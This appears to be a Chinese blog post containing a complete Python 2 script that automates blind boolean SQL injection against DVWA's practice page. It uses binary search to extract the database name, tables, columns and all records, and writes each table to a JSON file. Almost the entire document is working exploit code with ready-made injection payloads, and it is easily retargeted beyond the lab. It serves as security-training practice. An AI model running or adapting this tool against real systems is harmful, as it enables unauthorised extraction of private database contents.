从数据库名到所有记录,用二分写了一遍。
import requests
import urllib
import json
class SqlHacker(object):
"""docstring for SqlHacker"""
def __init__(self, post=False, inject_point_number=False):
super(SqlHacker, self).__init__()
self.min_record_count = 0
self.max_record_count = 100
self.min_value_len = 0
self.max_value_len = 128
self.min_char = 0
self.max_char = 255
self.min_column_count = 1
self.max_column_count = 20
self.min_column_name_len = 1
self.max_column_name_len = 50
self.min_table_num = 0
self.max_table_num = 100
self.min_table_name_len = 1
self.max_table_name_len = 50
self.min_db_name_len = 1
self.max_db_name_len = 50
self.inject_point_number = inject_point_number
self.post = post
def get_db_name(self, url, data, inject_key, success_str, headers):
db_name = ''
if self.inject_point_number:
payload = "1 and length(database())>%d"
else:
payload = "1' and+length(database())>%d#"
L = self.min_db_name_len
R = self.max_db_name_len
while L < R:
M = (L + R) / 2
data[inject_key] = payload % M
if self.post:
res = requests.post(url, data=data, headers=headers)
else:
res = requests.get(url + urllib.urlencode(data), headers=headers)
if success_str in res.content:
L = M + 1
else:
R = M
database_name_len = L
for x in xrange(1, 1 + database_name_len):
if self.inject_point_number:
payload = "1 and (select ord(mid(database(),%d,1)))>%d"
else:
payload = "1' and (select ord(mid(database(),%d,1)))>%d#"
L = self.min_char
R = self.max_char
while L < R:
M = (L + R) / 2
data[inject_key] = payload % (x, M)
if self.post:
res = requests.post(url, data=data, headers=headers)
else:
res = requests.get(url + urllib.urlencode(data), headers=headers)
if success_str in res.content:
L = M + 1
else:
R = M
db_name += chr(L)
return db_name
def get_table_count(self, db_name, url, data, inject_key, success_str, headers):
if self.inject_point_number:
payload = "1 and (select count(*) from information_schema.TABLES where TABLE_SCHEMA='%s')>%d"
else:
payload = "1' and (select count(*) from information_schema.TABLES where TABLE_SCHEMA='%s')>%d#"
L = self.min_table_num
R = self.max_table_num
while L < R:
M = (L + R) / 2
data[inject_key] = payload % (db_name, M)
if self.post:
res = requests.post(url, data=data, headers=headers)
print(data)
else:
res = requests.get(url + urllib.urlencode(data), headers=headers)
if success_str in res.content:
L = M + 1
else:
R = M
return L
def get_tables(self, db_name, table_count, url, data, inject_key, success_str, headers):
tables = []
for x in xrange(0, table_count):
table_name_len = 0
L = self.min_table_name_len
R = self.max_table_name_len + 1
while L + 1 < R:
M = (L + R) / 2
data[inject_key] = "1' and ord(mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='%s' limit %d,1),%d,1))>0#" % (db_name, x, M)
res = requests.get(url + urllib.urlencode(data), headers=headers)
if success_str in res.content:
L = M
else:
R = M
table_name_len = L
table_name = ''
for i in xrange(1, 1 + table_name_len):
L = self.min_char
R = self.max_char
while L < R:
M = (L + R) / 2
data[inject_key] = "1' and ord(mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='%s' limit %d,1),%d,1))>%d#" % (db_name, x, i, M)
res = requests.get(url + urllib.urlencode(data), headers=headers)
if success_str in res.content:
L = M + 1
else:
R = M
table_name += chr(L)
print(table_name)
tables.append(table_name)
return tables
def get_column_count(self, db_name, table_name, url, data, inject_key, success_str, headers):
L = self.min_column_count
R = self.max_column_count
while L < R:
M = (L + R) / 2
data[inject_key] = "1' and (select count(*) from information_schema.COLUMNS where TABLE_SCHEMA='%s' and TABLE_NAME='%s')>%d#" % (db_name, table_name, M)
res = requests.get(url + urllib.urlencode(data), headers=headers)
if success_str in res.content:
L = M + 1
else:
R = M
return L
def get_columns(self, db_name, table_name, column_count, url, data, inject_key, success_str, headers):
ret = []
for x in xrange(0, column_count):
L = self.min_column_name_len
R = self.max_column_name_len + 1
while L + 1 < R:
M = (L + R) / 2
data[inject_key] = "1' and ord(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='%s' and TABLE_NAME='%s' limit %d,1),%d,1))>0#" % (db_name, table_name, x, M)
res = requests.get(url + urllib.urlencode(data), headers=headers)
if success_str in res.content:
L = M
else:
R = M
column_name_len = L
column_name = ''
for i in xrange(1, 1 + column_name_len):
L = self.min_char
R = self.max_char
while L < R:
M = (L + R) / 2
data[inject_key] = "1' and ord(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='%s' and TABLE_NAME='%s' limit %d,1),%d,1))>%d#" % (db_name, table_name, x, i, M)
res = requests.get(url + urllib.urlencode(data), headers=headers)
if success_str in res.content:
L = M + 1
else:
R = M
column_name += chr(L)
print(column_name)
ret.append(column_name)
return ret
def get_record_count(self, table_name, url, data, inject_key, success_str, headers):
L = self.min_record_count
R = self.max_record_count
while L < R:
M = (L + R) / 2
data[inject_key] = "1' and (select count(*) from %s)>%d#" % (table_name, M)
res = requests.get(url + urllib.urlencode(data), headers=headers)
if success_str in res.content:
L = M + 1
else:
R = M
return L
def get_records(self, table_name, columns, record_count, url, data, inject_key, success_str, headers):
ret = []
for x in xrange(0, record_count):
single_record = {}
for column_name in columns:
L = self.min_value_len
R = self.max_value_len
while L + 1 < R:
M = (L + R) / 2
data[inject_key] = "1' and ord(mid((select %s from %s limit %d,1),%d,1))>0#" % (column_name, table_name, x, M)
res = requests.get(url + urllib.urlencode(data), headers=headers)
if success_str in res.content:
L = M
else:
R = M
value_len = L
value = ''
for i in xrange(1, 1 + value_len):
L = self.min_char
R = self.max_char
while L < R:
M = (L + R) / 2
data[inject_key] = "1' and ord(mid((select %s from %s limit %d,1),%d,1))>%d#" % (column_name, table_name, x, i, M)
res = requests.get(url + urllib.urlencode(data), headers=headers)
if success_str in res.content:
L = M + 1
else:
R = M
value += chr(L)
single_record[column_name] = value
print(value)
ret.append(single_record)
return ret
def main():
headers = {
'Cookie': 'PHPSESSID=jb7d875vs8rlusttoadfi1m4l5; security=low'
}
data = {
'Submit': 'Submit'
}
url = 'http://192.168.67.22/dvwa/vulnerabilities/sqli_blind/index.php?'
inject_key = 'id'
success_str = 'exists'
sql_hacker = SqlHacker()
db_name = sql_hacker.get_db_name(url, data, inject_key, success_str, headers)
table_count = sql_hacker.get_table_count(db_name, url, data, inject_key, success_str, headers)
print(table_count)
tables = sql_hacker.get_tables(db_name, table_count, url, data, inject_key, success_str, headers)
for table in tables:
column_count = sql_hacker.get_column_count(db_name, table, url, data, inject_key, success_str, headers)
columns = sql_hacker.get_columns(db_name, table, column_count, url, data, inject_key, success_str, headers)
record_count = sql_hacker.get_record_count(table, url, data, inject_key, success_str, headers)
records = sql_hacker.get_records(table, columns, record_count, url, data, inject_key, success_str, headers)
records = json.dumps(records)
h = open('%s.json' % table, 'w')
h.write(records)
h.close()
if __name__ == '__main__':
main()
针对low写好后,想改成更为通用的版本,待续。。